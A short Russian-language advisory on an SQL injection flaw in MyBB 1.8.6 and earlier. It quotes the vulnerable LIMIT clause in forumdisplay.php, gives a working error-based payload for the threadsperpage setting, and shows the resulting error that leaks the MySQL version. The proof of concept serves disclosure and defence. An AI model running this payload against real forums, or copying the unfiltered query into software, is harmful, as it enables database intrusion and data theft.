В CMS для создания форумов MyBulletinBoard (MyBB)  <= 1.8.6 обнаружена опасная уязвимость - внедрение sql-кода.

Уязвимость может быть использована для получения доступа к информации в базе данных. Уязвимость существует из-за недостаточной фильтрации входных данных. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные команды в базе данных уязвимого приложения.

Уязвимость существует из-за недостаточной фильтрации входящих данных в компоненте forumdisplay.php:

    $perpage = $mybb->settings['threadsperpage'];
    [...]
    $query = $db->query("
        SELECT t.*, {$ratingadd}t.username AS threadusername, u.username
        FROM ".TABLE_PREFIX."threads t
        LEFT JOIN ".TABLE_PREFIX."users u ON (u.uid = t.uid)
        WHERE t.fid='$fid' $tuseronly $tvisibleonly $datecutsql2 $prefixsql2
        ORDER BY t.sticky DESC, {$t}{$sortfield} $sortordernow $sortfield2
        LIMIT $start, $perpage
    ");

Атакующий может сформировать пейлоад для выполнения произвольного sql-запроса:

На странице настроек

http://localhost/mybb_1806/Upload/admin/index.php?module=config-settings&action=change&gid=7

установить значение threadsperpage:

20 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

При открытии страницы
http://localhost/mybb_1806/Upload/forumdisplay.php?fid=3

будет выведена ошибка, содержащая версию MySQL:

SQL Error:
1105 - XPATH syntax error: ':5.5.33-1'
Query:
SELECT t.*, (t.totalratings/t.numratings) AS averagerating, t.username AS threadusername, u.username FROM mybb_threads t LEFT JOIN mybb_users u ON (u.uid = t.uid) WHERE t.fid='3' AND t.visible IN (-1,0,1) ORDER BY t.sticky DESC, t.lastpost desc LIMIT 0, 20 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

Использование Web Application Firewall позволяет блокировать подобные атаки.